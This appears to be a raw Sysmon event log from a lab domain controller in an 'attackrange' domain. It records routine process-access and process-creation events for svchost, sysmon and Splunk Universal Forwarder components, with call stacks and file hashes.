09:14:55.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005962Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005961Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005960Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005959Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005958Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005957Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005956Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005955Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2A0F-5F80-5401-000000007F01}1876C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005954Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A0F-5F80-5401-000000007F01}1876C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005953Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.370{A5F018FF-2A0F-5F80-5401-000000007F01}1876C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005980Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.197{A5F018FF-2A10-5F80-5501-000000007F01}29721516C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005979Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A10-5F80-5501-000000007F01}2972C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005978Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005977Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005976Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005975Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005974Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005973Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005972Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005971Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005970Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005969Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2A10-5F80-5501-000000007F01}2972C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005968Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.041{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A10-5F80-5501-000000007F01}2972C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005967Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:56.042{A5F018FF-2A10-5F80-5501-000000007F01}2972C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005993Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A11-5F80-5601-000000007F01}3920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005992Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SY